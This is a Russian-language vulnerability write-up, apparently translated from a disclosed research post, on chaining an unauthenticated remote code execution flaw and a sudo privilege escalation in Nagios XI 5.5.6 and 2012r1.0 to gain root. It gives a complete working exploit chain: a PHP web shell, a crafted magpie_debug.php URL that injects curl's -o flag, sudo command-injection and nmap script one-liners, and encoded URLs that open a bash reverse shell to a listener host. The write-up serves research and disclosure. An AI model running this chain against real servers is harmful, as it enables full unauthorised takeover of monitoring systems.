Nagios XI уязвим с 2012 года

В чем дело?

Около шести лет Nagios XI мог быть удаленно рутирован злоумышленником, не прошедшим проверку подлинности. Nagios XI включал устаревшую библиотеку MagpieRSS (и, следовательно, Snoopy). Включение этой библиотеки создало вектор неаутентифицированного удаленного выполнения кода (RCE) (CVE-2018–15708), пока Nagios не исправил его в конце 2018 года. Отдельная уязвимость в Nagios XI, CVE-2018–15710, разрешена для локальных повышение привилегий (LPE). Эти уязвимости можно объединить, чтобы получить корневую оболочку на экземпляре Nagios XI 5.5.6.

Почему это важно?

Nagios утверждает, что у нее более 9000 клиентов, включая такие компании, как Cisco и PayPal. Поиск на Shodan.io по запросу Nagios дает более 4000 результатов.

Подробная информация об уязвимости

Упомянутая выше уязвимость RCE просто получает привилегии как пользователь apache. К счастью (или, к сожалению, в зависимости от того, как вы на это смотрите), с версии 2012r1.0 появились способы повысить привилегии до root на Nagios XI . Интересно, что уязвимость LPE в версии 2012r1.0 отличается от LPE, обнаруженной в 5.5.6.

Выполнение кода PHP через MagpieRSS и Snoopy

Nagios XI включает уязвимый компонент. Уязвимость выполнения кода может быть вызвана отправкой созданного запроса на magpie_debug.php. Давайте пройдемся по коду, чтобы показать, как это работает. Я добавил комментарии, чтобы указать на интересующие строки. Также для краткости из сниппетов были удалены некоторые строки. Эти строки обозначаются встроенным комментарием «snip» (например, // snip).

Ниже magpie_debug.php. К этому сценарию можно получить доступ в веб-браузере без аутентификации. Обратите внимание, что параметр HTTP GET «url» передается в функцию fetch_rss () без предварительной проверки или очистки.

// snip
// magpie_debug.php
if ( isset($_GET['url']) ) {
 $url = $_GET['url'];    // 1
}
else {
 $url = 'http://magpierss.sf.net/test.rss';
}
test_library_support();
$rss = fetch_rss( $url );   // 2
// snip

Функция fetch_rss () определена в rss_fetch.inc. Функция принимает параметр «url», и если кеш отключен, URL-адрес передается в _fetch_remote_file (). Опять же, это выполняется без предварительной проверки. Этот шаблон станет вам знакомым по мере того, как мы углубимся в код.

// rss_fetch.inc
// snip
function fetch_rss ($url) {
    // initialize constants
    init();
    
    if ( !isset($url) ) {
        error("fetch_rss called without a url");
        return false;
    }
    
    // if cache is disabled
    if ( !MAGPIE_CACHE_ON ) {
        // fetch file, and parse it
        $resp = _fetch_remote_file( $url ); // 3
// snip

В rss_fetch.inc также определена функция _fetch_remote_file (). В этой функции создается объект Snoopy, а необработанный URL-адрес передается методу Snoopy fetch ().

// rss_fetch.inc
// snip
function _fetch_remote_file ($url, $headers = "" ) {
    // Snoopy is an HTTP client in PHP
    $client = new Snoopy();             // 4
    $client->agent = MAGPIE_USER_AGENT;
    $client->read_timeout = MAGPIE_FETCH_TIME_OUT;
    $client->use_gzip = MAGPIE_USE_GZIP;
    if (is_array($headers) ) {
        $client->rawheaders = $headers;
    }
    
    @$client->fetch($url);              // 5
    return $client;
}
// snip

Теперь мы смотрим на код в библиотеке Snoopy. Метод fetch () будет выполнять HTTP-запрос GET (по умолчанию) для заданного URI. Что касается уязвимости, когда URI указывает схему HTTPS, будет вызван метод _httpsrequest (). URI передается как второй аргумент, независимо от того, используется прокси-сервер или нет.

// Snoopy.class.inc
// snip
function fetch($URI)
{
    
// preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
$URI_PARTS = parse_url($URI);
if (! empty($URI_PARTS["user"]))
    $this->user = $URI_PARTS["user"];
if (! empty($URI_PARTS["pass"]))
    $this->pass = $URI_PARTS["pass"];
switch ($URI_PARTS["scheme"]) {
    case "http":
    // snip
    case "https":
        if (! $this->curl_path || (! is_executable($this->curl_path))) {
            $this->error = "Bad curl ($this->curl_path), can't fetch HTTPS \n";
            return false;
        }
        $this->host = $URI_PARTS["host"];
        if (! empty($URI_PARTS["port"]))
            $this->port = $URI_PARTS["port"];
        if ($this->_isproxy) {
          // using proxy, send entire URI
          $this->_httpsrequest($URI, $URI, $this->_httpmethod); //6
        } else {
          $path = $URI_PARTS["path"] . ($URI_PARTS["query"] ? "?" . $URI_PARTS["query"] : "");
          // no proxy, send only the path
          $this->_httpsrequest($path, $URI, $this->_httpmethod); //6
        }
    // snip

Наконец, мы подошли к методу _httpsrequest (). Я показываю только вызов exec () в этом методе, хотя определение метода намного длиннее. Кроме того, я изменил форматирование вызова exec, чтобы использовать несколько строк, поэтому в этом фрагменте можно просмотреть полный вызов.

В любом случае первым аргументом функции exec () является строка command. В этом вызове командная строка создается путем объединения пути к двоичному файлу curl, некоторых параметров и самого URI. Обратите внимание, что переменные cmdline_params и URI передаются в функцию escapeshellcmd () до объединения. К сожалению, функция используется неправильно.

// Snoopy.class.inc
// snip
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
    // snip 
    exec(
        $this->curl_path." -D \"/tmp/$headerfile\"".
            escapeshellcmd($cmdline_params)." ".
            escapeshellcmd($URI),   // 7
        $results,
        $return
    );
// snip

Как указано в документации PHP, escapeshellcmd () следует использовать для всей командной строки, и это по-прежнему позволяет злоумышленнику передавать произвольное количество аргументов. Для экранирования следует использовать единственный аргумент «escapeshellarg (). Правильная функция для использования - это escapeshellarg ().

Из-за этой ошибки произвольные аргументы могут быть вставлены в команду curl .

Создание эксплойта

Curl имеет параметр (-o), который позволяет пользователю записывать HTTP-ответ в файл вместо стандартного вывода:

-o, --output FILE Write to FILE instead of stdout

Подведем итоги того, что мы знаем:

  1. URI можно указать для magpie_debug.php без аутентификации.
  2. Если указан HTTPS URI, двоичный файл curl будет exec () ’d, чтобы запросить этот URI как есть. Никакой проверки или дезинфекции не происходит.
  3. В команду curl можно ввести произвольные аргументы.

Имея эту информацию, можно использовать следующую стратегию для выполнения произвольного кода PHP:

  1. Создайте прослушиватель HTTPS, доступный для экземпляра Nagios XI.
  2. С помощью этого слушателя разместите файл, содержащий вредоносный код PHP.
  3. Создайте запрос к magpie_debug.php, который выполняет следующие действия: a) Задает URI, указывающий на наш вредоносный файл PHP. б) Вставляет флаг «-o», записывая ответ в место на диске . (Примечание: это местоположение должно быть доступно для записи пользователем apache и общедоступным с помощью веб-браузера.)

Чтобы найти подходящий каталог, я выполнил эту команду:

find /usr/local/ -type d -user apache

Эта команда ищет каталоги в / usr / local /, принадлежащие пользователю apache. К счастью, было возвращено много каталогов, и каталог / usr / local / nagvis / share / общедоступен. Я искал в / usr / local /, потому что здесь размещен Nagios XI.

Примечание. Каталог отличается в версиях 2012r1.0 и 5.5.6.

Подвиг, правда

Я не буду показывать вам, как создать прослушиватель HTTPS (должен быть HTTPS), но вы можете просмотреть его в полном коде эксплойта в Интернете. Наш слушатель ответит следующее:

<?php system($_GET['cmd']); ?>

Предположим, что экземпляр Nagios XI расположен по адресу https://192.168.1.208, а наш слушатель - по адресу https://192.168.1.191:8080. Используя следующий URL-адрес, мы можем записать PHP-код в /usr/local/nagvis/share/exec.php. Обратите внимание, что «-o /usr/local/nagvis/share/exec.php» включен в значение параметра «url». Это говорит curl, что нужно вывести ответ в этот файл.

https://192.168.1.208/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php?url=https://192.168.1.191:8080/%20-o%20/usr/local/nagvis/share/exec.php

После выполнения этого запроса злоумышленник может выполнять произвольные системные команды, запрашивая URL-адрес, подобный этому:

https://192.168.1.208/nagvis/exec.php?cmd=whoami

Однако команда whoami возвращает apache. Давайте посмотрим, как повысить привилегии до root.

Несколько локальных повышений привилегий

Существует две причины, по которым повышение привилегий возможно в версии 5.5.6:

  1. В конкретном сценарии PHP существует уязвимость внедрения команд.
  2. Этот сценарий может быть запущен с использованием «sudo» без пароля из-за записи в файле / etc / sudoers.

Интересно, что такая же конфигурация / etc / sudoers присутствует в версии 2012r1.0, но выполнение кода достигается с другим двоичным кодом (nmap).

Давайте сначала взглянем на 5.5.6.

/ etc / sudoers

Перечисляя операционную систему внутри сеанса SSH, я обнаружил несколько интригующих записей в файле / etc / sudoers:

User_Alias      NAGIOSXI=nagios
User_Alias      NAGIOSXIWEB=apache
...
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *

Эти записи позволяют пользователям nagios и apache выполнять сценарий autodiscover_new.php с sudo, и могут быть предоставлены произвольные аргументы. Пароль запрашиваться не будет. По сути, эта запись делает PHP-файл таким же сочным, как исполняемый файл, принадлежащий root, с установленным битом SUID.

Вопрос только в том, как можно выполнить код с помощью этого скрипта?

SourceGuardian PHP кодировщик

Вы когда-нибудь слышали о SourceGuardian? Я не знал. И я этого не забуду. Это механизм защиты, который компилирует исходный код PHP и затем шифрует его. Для исследователя безопасности это немного усложняет жизнь. Вместо того, чтобы просто читать PHP-источник autodiscover_new.php, он выглядит следующим образом (хотя это всего лишь фрагмент):

Обратите внимание на вызов sg_load () и его аргумент. Фактически загружаемый строковый аргумент намного длиннее. Эта строка загружается SourceGuardian для расшифровки и выполнения скомпилированного байтового кода.

К счастью, мы все еще можем выполнить динамический анализ сценария, чтобы попытаться выяснить, как он работает. Сначала я попытался запустить сценарий с флагом «- help», чтобы посмотреть, появится ли подсказка о помощи.

$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --help
#/usr/bin/php -q
Nagios XI Auto-Discovery Tool
Copyright (c) 2010-2017 Nagios Enterprises, LLC
Portions Copyright (c) others - see source code
License: Nagios Open Software License <http://www.nagios.com/legal/licenses>
Usage: /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=<scanrange> [--ignore=<ignore>] [--parent=<parent>] [--output=<output>] [--onlynew=<new>]
<scanrange>    = The IP addresses or network ranges to scan.
   <ignore>       = IP addresses to ignore.
   <parent>       = Default parent for newly found devices.
   <option>       = File used to store results.

Как видите, это дало определенные результаты. Основываясь на выводе, разумно предположить, что этот сценарий обнаружит устройства в сети в пределах указанного диапазона IP-адресов. Моей первой мыслью было попробовать просканировать localhost.

$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1
#/usr/bin/php -q
WARNING: No targets were specified, so 0 hosts scanned.
Starting Nmap 6.47 ( http://nmap.org ) at 2018-11-06 05:07 EST
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.02 seconds
<scanresults>
</scanresults>

Следующей моей мыслью было предоставить CIDR префикс 0, чтобы посмотреть, работает ли он (127.0.0.1/0). Получил тот же результат. Затем я попробовал использовать префикс 1. Результаты были довольно интересными.

$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1
#/usr/bin/php -q
sh: line 1:  7797 Killed                  /usr/sbin/fping -a -r 1 -g 127.0.0.1/1 2> /dev/null
Starting Nmap 6.47 ( http://nmap.org ) at 2018-11-06 05:08 EST
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.35 seconds
<scanresults>
</scanresults>

Исходя из этого вывода, похоже, что исполняемый файл «fping» запускается с нашим CIDR, включенным в команду. Сразу возникает мысль о возможности инъекции команд. Прежде чем я слишком увлекся триггером, я решил выполнить «strace», чтобы посмотреть, какие системные вызовы происходят во время выполнения. В частности, мы ищем системный вызов, запускающий fping (возможно, вариант exec).

$ strace -s 200 -f -o strace.txt php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1

По сути, эта команда будет выполнять трассировку системного вызова во время выполнения autodiscover_new.php. Будут следовать вилки (-f), длина вывода будет ограничена 200 символами (-s 200) вместо 32 по умолчанию, а результаты будут записаны в strace.txt.

В выводе я обнаружил несколько строк, которые подтверждают возможность уязвимости инъекции команд:

execve("/bin/sh", ["sh", "-c", "/usr/sbin/fping -a -r 1 -g 127.0.0.1/1 2> /dev/null"], [/* 26 vars */]) = 0
execve("/usr/sbin/fping", ["/usr/sbin/fping", "-a", "-r", "1", "-g", "127.0.0.1/1"], [/* 25 vars */]) = 0

Очевидно, что выполняется fping, и наш ввод («127.0.0.1/1) объединяется в команду. Я опускаю некоторые подробности здесь, потому что в Интернете есть множество ресурсов о том, как найти уязвимость внедрения команд. Это требует проб и ошибок. Поверьте мне, когда я говорю: «Есть уязвимость».

Давайте уже посмотрим на эксплойт повышения привилегий!

Эксплойт 5.5.6 - autodiscover_new.php

Постойте на мгновение. На данный момент мы знаем следующее:

  1. Файл / etc / sudoers позволяет запускать autodiscover_new.php с помощью sudo без пароля (с помощью nagios или apache).
  2. В autodiscover_new.php существует уязвимость внедрения команд.

Имея это в виду, мы можем использовать инъекцию команды при запуске сценария с sudo, чтобы получить корневую оболочку (без пароля). Вот эксплойт в действии. Обратите внимание, что этот пример выполняется пользователем nagios. Пользователь apache не может войти в оболочку. Но помните, у них одинаковые права доступа в файле / etc / sudoers.

$ whoami
nagios
$ sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses='127.0.0.1/1`/bin/bash > $(tty)`'
#/usr/bin/php -q
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2012r1.0 Exploit - Повышение привилегий с помощью механизма сценариев Nmap

Техника повышения привилегий аналогична Nagios XI версии 2012r1.0. Опять же, в / etc / sudoers есть запись, которая позволяет пользователю apache выполнять команду без пароля. Однако в этой версии все по-другому. Вместо autodiscover_new.php указывается двоичный файл «nmap».

Но как выполнять команды оболочки с помощью Nmap? В Nmap есть отличная функция, называемая Nmap Scripting Engine (NSE), которая позволяет пользователям писать собственные сценарии, которые Nmap может выполнять. NSE основана на Lua, поэтому для выполнения команд оболочки с помощью Nmap мы можем написать базовый Lua, используя функцию os.execute. Опять же, тест проводится пользователем nagios.

$ whoami
nagios
$ echo 'os.execute("/bin/bash")' > /var/tmp/shell.nse && sudo nmap --script /var/tmp/shell.nse
Starting Nmap 5.51 ( http://nmap.org ) at 2018-11-06 01:42 EST
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Объединение эксплойтов

Давайте на секунду вспомним, чего мы достигли:

  1. У нас есть способ удаленно выполнять PHP-код без аутентификации.
  2. Мы можем локально повысить привилегии, чтобы получить корневую оболочку.

Если мы сложим эти два элемента вместе, мы сможем удаленно открыть корневую оболочку. Опять же, сначала нам нужно использовать magpie_debug.php, чтобы дать нам выполнение кода PHP. Как только мы получим это, можно будет использовать повышение привилегий. Однако, если нам нужна удаленная оболочка, нам нужно будет изменить полезную нагрузку. Я использовал обычную однострочную оболочку Bash для обратного подключения к моему слушающему экземпляру Netcat.

Ниже представлен слушатель Netcat:

$ nc -l 4444

Вот URL-адрес, который нужно посетить, чтобы отключить обратное соединение. Я перечислил два URL-адреса, поскольку они различаются в зависимости от целевой версии Nagios XI:

5.5.6

https://192.168.1.208/nagvis/exec.php?cmd=sudo%20php%20%2Fusr%2Flocal%2Fnagiosxi%2Fhtml%2Fincludes%2Fcomponents%2Fautodiscovery%2Fscripts%2Fautodiscover_new.php%20--addresses%3D%27127.0.0.1%2F0%60%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.191%2F4444%200%3E%261%60%27

2012r1.0

https://192.168.1.208/nagiosql/exec.php?cmd=echo%20%27os.execute%28%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.191%2F4444%200%3E%261%22%29%27%20%3E%3E%20%2Fvar%2Ftmp%2Fshell.nse%20%26%26%20sudo%20nmap%20-p%2080%20192.168.1.1%20--script%20%2Fvar%2Ftmp%2Fshell.nse

После того, как обратная оболочка подключится обратно, в сеансе Netcat отобразится следующий вывод. Мы можем взаимодействовать с оболочкой как пользователь root .:

$ nc -l 4444
bash: no job control in this shell
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0

Заключительные примечания

Я хотел бы отметить, что эти уязвимости, хотя и самые серьезные, были не единственными ошибками, обнаруженными в Nagios XI. Для получения дополнительной информации ознакомьтесь с Tenable Research Advisory. Кроме того, с Nagios было приятно работать в процессе раскрытия информации. Сообщения были своевременными, и патч был выпущен очень быстро. Взгляните на их страницу с проблемами безопасности для получения рекомендаций по исправлению.